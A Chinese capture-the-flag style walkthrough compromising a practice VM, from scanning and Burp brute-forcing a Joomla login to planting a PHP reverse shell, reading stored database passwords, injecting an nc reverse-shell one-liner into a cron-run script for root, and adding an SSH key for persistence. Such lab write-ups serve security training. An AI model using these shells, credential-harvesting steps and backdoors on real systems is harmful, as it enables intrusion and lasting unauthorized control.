一次零基础 自“信息收集“到“权限维持“的渗透测试全程详细记录

 一、渗透总流程

1.确定目标:

        在本靶场中,确定目标就是使用各种扫描工具进行ip扫描,确定目标ip。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如使用Wappalyzer插件、nmap工具等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

6.权限维持:   

        在渗透测试过程中,权限维持是指利用已获取的权限、漏洞或凭证,保持长期对目标系统的访问权限,并持续地潜伏在系统内部以获得更多信息或执行更高级别的攻击。权限维持通常发生在成功渗透系统后,攻击者不仅仅是获取对系统的访问权限,还试图保持这种权限,以执行进一步的攻击操作。
 

二、打靶实例详解


文章内的靶机及脚本关注后私信获取


1.准备阶段

首先将靶机以及kali启动。

注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

2.信息收集——确认靶机ip

首先确定攻击机kali的ip来确定接下来扫描的网段。

命令:ip a

方法一——fping

命令:fping -g 192.168.10.0/24

方法二——Netdiscover

命令:netdiscover -i eth0 -r 192.168.10.0/24

方法三——arp-scan

命令:arp-scan -l

方法四——nmap

命令:nmap -sP 192.168.10.0/24

在上面扫描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。

所以通过上面的四种方法均可以确定靶机的ip地址为:192.168.10.176。

3.信息收集——端口扫描

命令:nmap -A -v -sS -sV -p- 192.168.10.176

知识点——nmap参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面地探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN扫描
-sV:探测开放
-p-:扫描全部端口

可以看到开放的端口有:
22:SSH服务
80:HTTP服务

4.威胁建模

访问:http://192.168.10.176/

通过Wappalyzer插件得到下面的信息:
Web服务:Apache 2.4.38
操作系统:Debian

5.漏洞探测

通过前面的扫描,可以看到存在开放的80端口,因此猜测其存在HTTP服务。

访问其web服务,默认端口为80。

可以看到一张小丑的图片。

查看网页源代码,可以看到没有什么有价值的信息。

查看robot.txt文件,同样没有什么收获。

安装Gobuster工具。

命令:apt-get install gobuster

接下来通过使用Gobuster和大字典(Kali自带),查找网站部署的服务器,发现了JoomlaCMS。

命令:gobuster dir -u 192.168.10.176 -w /usr/share/dirb/wordlists/big.txt

访问Joomla站点,发现只有一个帖子,其中有电影“小丑”的两个场景对话,还发现一个登录口。

安装Joomscan工具。

命令:apt-get install joomscan

接下来使用Joomscan对站点进行探测。

列出版本信息、敏感目录以及备份文件等有助于寻找漏洞的信息。

命令:joomscan -u 192.168.10.176/joomla

6.漏洞利用

使用Cewl工具对Joomla中发现的对话内的单词创建一个自定义词典。

命令:cewl -m 5 http://192.168.10.176/joomla/ > dic-words.txt

命令解释:常用于密码破解的准备工作,生成一个基于目标网站内容的密码字典。 -m 5 参数表示生成一个最小长度为5个字符的单词列表。它从指定的URL http://192.168.10.176/joomla/ 中提取文本,然后将提取的内容输出到一个名为 dic-words.txt 的文件中。

查看生成的字典。

接下来利用刚刚生成的字典对网页内的登录口进行爆破。

首先启动burp打开拦截器。

开启浏览器内的代理。

在登录口随便输入账号密码后点击Log in。

此时可以看到burp拦截到的数据包。

鼠标右键点击数据包后将其发送到Intruder。

在Intruder页面先确认选取Sniper,然后将username改为joomla,选中之前登录口随便填写的密码使用Add给password加上标记。

打开Payloads界面进行相关配置。

选取Simple list格式。

在下方点击load填入之前创建的密码字典dic-words.txt。

导入字典后点击Start attack开始爆破。

等待爆破解释后通过Lenght对结果筛选,得到密码Gotham。

使用username为joomla和password为Gotham尝试登陆,发现登录成功。

在枚举过程中我们嗅探到joomla下有administrator目录,尝试访问一下,发现可以成功访问。

使用刚刚爆破得到的用户名和密码登录。

发现登录成功。

接下来尝试在这个站点内建立一个反弹shell。

打开Extensions->Templates->Styles。

可以看到Beez3和protostar两个目录。

点击Protostar打开protostar目录。

进入/index.php页面进行编辑。

为了后续方便代码的复制粘贴,安装gedit工具。

命令:apt-get install gedit

进入到/usr/share/webshells/php目录,找到php-reverse-shell.php文件复制整个文件的代码。

命令:cd /usr/share/webshells/php

命令:gedit php-reverse-shell.php

用复制的shell脚本替换掉/index.php中的原始代码。

在第49行和50行找到ip和port。

将ip更改为攻击机kali的IP,这里为Kali IP:192.168.10.132。

端口可以自己设定,这里设置为5555。

点击左上角的save进行保存。

之后在kali中打开监听,重新访问“192.168.10.176/joomla/index.php”页面,在Kali中可以看到反弹成功。

命令:nc -lnvp 5555

地址:192.168.10.176/joomla/index.php

使用python3打开一个bash终端。

命令:python3 -c "import pty;pty.spawn('/bin/bash')"

查看home目录发现三个用户。

命令:ls /home

进入到/var/www/目录并查看,发现有html和joomla2两个文件夹。

命令:cd /var/www/ && ls -a

进入到joomla2文件夹内并查看,发现了configuration.php文件。

命令:cd joomla2 && ls -a

查看该文件,发现了一个数据的用户名和密码。

命令:cat configuration.php

用账号joomla和密码babyjoker尝试登录数据库,发现登录成功。

命令:mysql -u joomla -p

在数据库内查找有用的信息,查看是否有存储用户名和密码的文件。

命令:show databases;

命令:use batjoke;

成功找到密码信息如下图所示。

命令:select * from taskforce;

将密码进行base64解密,可以看到解密后的明文。

命令:echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d

  1. 知识点——命令说明:
    这个命令是将给定的Base64编码的字符串解码回原始的文本。具体来说,命令中的 echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' 是将Base64编码的密文输入到管道中,然后 base64 -d 解码这个Base64编码的字符串,并将其转换为原始文本。

7.权限提升

使用前面获取到的密码通过ssh命令尝试进行登录,发现登录成功了。

用户名:rob

密码:??? AllIHaveAreNegativeThoughts???

命令:ssh rob@192.168.10.176

在rob用户的系统中搜索资产,发现一个关于用户的文件user.txt,查看该文件。

命令:ls

查看user.txt文件。

命令:cat user.txt

遍历目录,发现了可疑文件Abnerineedyourhelp。

命令:ls -lna

查看文件,发现一段加密后的话。

命令:cat Abnerineedyourhelp

根据用户名rot联想到疑似是rot13加密,于是利用CyberChef工具尝试解密。

成功解密,得到下图所示的明文。

翻译后的内容如下,可以看到末尾有一段密码。

对上述的密码进行base64解密。

命令:echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d

根据上面翻译结果内的提示,尝试利用上面解密出的密码登录用户名为abner的用户,执行命令后发现登录成功到了abner。

命令:su abner

密码:I33hope99my0death000makes44more8cents00than0my0life0

命令:whoami

进入到abner的目录下并进行目录遍历,发现可疑文件info.txt和user2.txt。

命令:cd /home/abner && ls -lna

分别查看两个文件。

命令:cat info.txt

命令:cat user2.txt

翻译得到的内容可以看到其是对Glasgow smile的介绍。

查看命令执行的历史记录。

命令:cat .bash_history

在全盘中搜索与penguin用户相关的文件,找到两条关键信息。

命令:find / -name .dear_penguins.zip 2>/dev/null

来到上面查找到的文件的目录下并查看,可以看到上面搜索到的压缩包。

命令:ls -al /var/www/joomla2/administrator/manifests/files/

将其解压。

命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

密码:I33hope99my0death000makes44more8cents00than0my0life0

查看.dear_penguins文件。

命令:cat .dear_penguins

翻译得到的内容。

得到penguin用户的密码,使用得到的密码尝试登录用户penguin,发现成功登录。

命令:su penguin

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

命令:whoami

进入到penguin的目录下并进行目录遍历,查找可疑文件或目录,发现可以目录SomeoneWhoHidesBehindAMask。

命令:cd /home/penguin && ls -lna

进入SomeoneWhoHidesBehindAMask目录并遍历,发现两个可疑文件。

命令:cd SomeoneWhoHidesBehindAMask && ls -lna

查看PeopleAreStartingToNotice.txt。

命令:cat PeopleAreStartingToNotice.txt

翻译得到下面内容,是Joker给Penguin的留言,貌似说正在编写一个程序,只能用root运行,完成以后joker将会拷贝到当前目录。

查看.trash_old文件,可以看到其内容类似于一个shell脚本。

命令:cat .trash_old

结合文件内容,发现.trash_old属于用户penguin,root组并且任何人都可执行。

这个时候联想到需要使用pspy工具监控没有root权限的Linux系统。

前面进行端口扫描的时候存在开放的22端口,并且已经拿到了该系统的登录用户名和密码。

因此尝试利用ssh远程连接进行上传pspy工具。

首先将pspy文件下载到本地。

然后尝试利用ssh连接靶机。

命令:ssh penguin@192.168.10.176

密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

在本机的pspy目录下,启动python的http服务,启动端口可以任意填写但是要注意不要与已经启动服务的端口重复。

命令:python3 -m http.server 5556

启动后访问本地地址进行验证,可以看到可以访问到kali内的文件。

访问地址:http://192.168.10.132:5556/

在靶机上将pspy64wget下来。

命令:wget http://192.168.10.132:5556/pspy64

查看文件pspy64,发现没有权限执行。

命令:ls -lah

修改其权限让其可以执行并进行验证。 

命令:chmod +x pspy64

命令:ls -lah

执行pspy,利用其对系统进程进行监控。

命令:./pspy64 -p -i 1000

监听到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分钟都执行。

回到前面.trash_old的目录下,使用vim编辑trash_old写入反弹shell(要将末尾的exit 0注释掉)。

命令:vi .trash_old

代码:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.132 5557>/tmp/f

保存并退出::wq!

在kali内开启监听,连接上后,执行whoami或id命令,可以看到此时成功拿到了root权限。

命令:nc -lnvp 5557

命令:whoami

命令:id

查看当前目录下内容,可以看到root.txt文件,查看root.txt。

命令:ls

命令:cat root.txt

上面成功拿到了root权限。

8.权限维持

在渗透测试中,权限维持是非常重要的一步。获取了系统或网络的访问权限后,可以尽量保持这些权限,以便进行后续的深入渗透,如渗透到更深层次的系统等。

首先利用攻击机kali生成公钥私钥对,默认保存在.ssh目录下。

命令:ssh-keygen -t rsa

查看刚刚生成的公钥和私钥,其中id_rsa为私钥,留在攻击机kali内,id_ras.pub为公钥,传到靶机内即可。

命令:cd .ssh

命令:ls -lah

在存放公钥私钥的.ssh目录下启动python的http服务。

命令:python3 -m http.server 5558

将公钥下载到靶机上并查看。

命令:wget http://192.168.10.132:5558/id_rsa.pub

命令:ls

在靶机内查看当前路径,确认是root用户目录后在当前目录下创建.ssh目录。

命令:pwd

命令:mkdir .ssh

命令:ls -alh

在.ssh目录下创建authorized_keys文件。

命令:touch .ssh/authorized_keys

将密钥写入到authorized_keys文件中。

命令:cat id_rsa.pub >> .ssh/authorized_keys

此时使用kali就可以直接连接到靶机的root权限了。

命令:ssh root@192.168.10.176

只要靶机上的公钥文件存在,就可以利用私钥永久拿到靶机的控制权。

至此权限维持操作完成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/786998.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

pdf容量大小怎么改,pdf容量太大怎么变小

在数字化时代,pdf文件因其稳定性和跨平台兼容性而成为工作、学习和生活中不可或缺的文件格式。然而,随着文件内容的丰富,pdf文件的体积也日益增大,给存储和传输带来了不少困扰。本文将为你详细介绍多种实用的pdf文件压缩方法&…

Java文件操作和IO的小案例

文章目录 案例1案例2案例3 案例1 要求: 扫描指定目录,并找到名称中包含指定字符的所有普通文件(不包含目录),并且后续询问用户是否要删除该文件。 代码实现: package shixun;import java.io.File; import…

【python学习】快速了解python基本数据类型

🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 文章目录 前言1. 整数(int)2. 浮点数(float)3. 布尔值(bool&#xf…

关于string的‘\0‘与string,vector构造特点加部分特别知识点的讨论

目录 前言: 问题一:关于string的\0问题讨论 问题二:C标准库中的string内存是分配在堆上面吗? 问题三:string与vector的capacity大小设计的特点 问题四:string的流提取问题 问题五:迭代器失…

运筹说 第118期|存储论奠基人——肯尼斯·约瑟夫·阿罗

1.导读 前面我们已经了解了存储论的相关内容,相信大家一定也有所收获,下面我们将带着大家继续了解存储论的相关内容,在本次文章中我们将一起走近存储论的奠基人之一——肯尼斯约瑟夫阿罗Kenneth J.Arrow,希望能给大家…

In Search of Lost Online Test-time Adaptation: A Survey--论文笔记

论文笔记 资料 1.代码地址 https://github.com/jo-wang/otta_vit_survey 2.论文地址 https://arxiv.org/abs/2310.20199 3.数据集地址 1论文摘要的翻译 本文介绍了在线测试时间适应(online test-time adaptation,OTTA)的全面调查,OTTA是一种专注于使机器学习…

科技创新引领水利行业升级:深入分析智慧水利解决方案的核心价值,展望其在未来水资源管理中的重要地位与作用

目录 引言 一、智慧水利的概念与内涵 二、智慧水利解决方案的核心价值 1. 精准监测与预警 2. 优化资源配置 3. 智能运维管理 4. 公众参与与决策支持 三、智慧水利在未来水资源管理中的重要地位与作用 1. 推动水利行业转型升级 2. 保障国家水安全 3. 促进生态文明建设…

顺序表--续(C语言详细版)

2.9 在指定位置之前插入数据 // 在指定位置之前插入数据 void SLInsert(SL* ps, int pos, SLDataType x); 步骤: ① 程序开始前,我们要断言一下,确保指针是有效的,不是NULL; ② 我们还要断言一下,指定的…

智慧灌区信息化系统完整解决方案

一、背景 随着科技的快速发展,智慧灌区信息化系统正逐渐成为提高农业灌溉效率、优化水资源配置的重要手段。本文将详细介绍智慧灌区信息化系统的完整解决方案,包括系统、功能、应用以及优势分析等方面,旨在为灌区的现代化和高效管理提供有力…

靶场练习 手把手教你通关DC系列 DC1

DC1靶场通关教程 文章目录 DC1靶场通关教程前言一、信息收集1.主机存活2.端口收集3.网页信息收集4.目录收集4.1 Nikto4.2 Dirb 信息收集总结 二、漏洞发现与利用1. 发现2. 利用 三、FlagFlag1Flag2Flag3Flag4Flag5(提权) 前言 本次使用的kali机的IP地址为192.168.243.131 DC1的…

倒计时 2 周!CommunityOverCode Asia 2024 IoT Community 专题部分

CommunityOverCode 是 Apache 软件基金会(ASF)的官方全球系列大会,其前身为 ApacheCon。自 1998 年以来,在 ASF 成立之前,ApacheCon 已经吸引了各个层次的参与者,在 300 多个 Apache 项目及其不同的社区中探…

给数组/对象添加一个(key-value)对象

需要将一个value值前面加上key值,放进数组/对象中 this.$set(res.data[0],type,1) this.$set( target, key, value ) target:要更改的数据源(可以是对象或者数组) key:要更改的具体数据 value :重新赋的值。 结果:…

05.C1W4.Machine Translation and Document Search

往期文章请点这里 目录 OverviewWhat you’ll be able to do!Learning Objectives Transforming word vectorsOverview of TranslationTransforming vectors Align word vectorsSolving for RFrobenius normFrobenius norm squaredGradient K nearest neighborsFinding the tr…

Open3D 点对面的ICP算法配准(精配准)

目录 一、概述 1.1核心思想 1.2实现步骤 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 3.1原始点云 3.2配准后点云 3.3计算数据 一、概述 基于点对面的ICP(Iterative Closest Point)配准算法是ICP的一种变体,它通过最小化源…

骏网一卡通之类的游戏卡有什么用?

感觉现在打端游的人越来越少了 而且游戏充值卡显得就很鸡肋,在家里整理东西,翻出来好多骏网一卡通,但是我又不打游戏 想着把这卡送给有需要的朋友,不然也是浪费,问了一圈送不出去 还好最后在收卡云上卖掉了&#xf…

H桥驱动器芯片详解

H桥驱动器芯片详解 上一篇文章讲解了H桥驱动器的控制原理,本文以汽车行业广泛应用的DRV8245芯片为例,详细讲解基于集成电路的H桥驱动器芯片。 1.概述 DRV824x-Q1系列器件是德州仪器(TI)的一款专为汽车应用设计的全集成H桥驱动器…

【本地docker启动私有大模型】

一、最终效果 中英文对话 生成代码 二、资源配置 本文选择的模型运行内存需要 4G,因此宿主机建议内存大于8G,CPU建议 6 核以上; 参考博主该mac配置可以相对流畅运行。只需要 CPU资源,不需要 GPU。 三、搭建步骤 启动docker容…

羊大师:探索羊奶奥秘,解锁免疫力提升新篇章

在浩瀚的自然界中,羊奶以其独特的营养价值和健康益处,悄然成为提升免疫力的新宠。自古以来,羊奶就被视为珍贵的滋补佳品,而今,随着科学的深入探索,其提升免疫力的奥秘正逐渐揭开面纱。 羊奶中富含的免疫球蛋…

MQTT教程--服务器使用EMQX和客户端使用MQTTX

什么是MQTT MQTT(Message Queuing Telemetry Transport)是一种轻量级、基于发布-订阅模式的消息传输协议,适用于资源受限的设备和低带宽、高延迟或不稳定的网络环境。它在物联网应用中广受欢迎,能够实现传感器、执行器和其它设备…

字典树(Tire树)

字典树(Tire树) 字典树是一种多叉树,又称为前缀树。核心思想是利用字符串的公共前缀。 字典树的根节点为空,从根节点到某一节点路径上的字符连接起来构成字符串,完整的字符串在链上而非结点上,一个节点的所有子节点都具有相同公…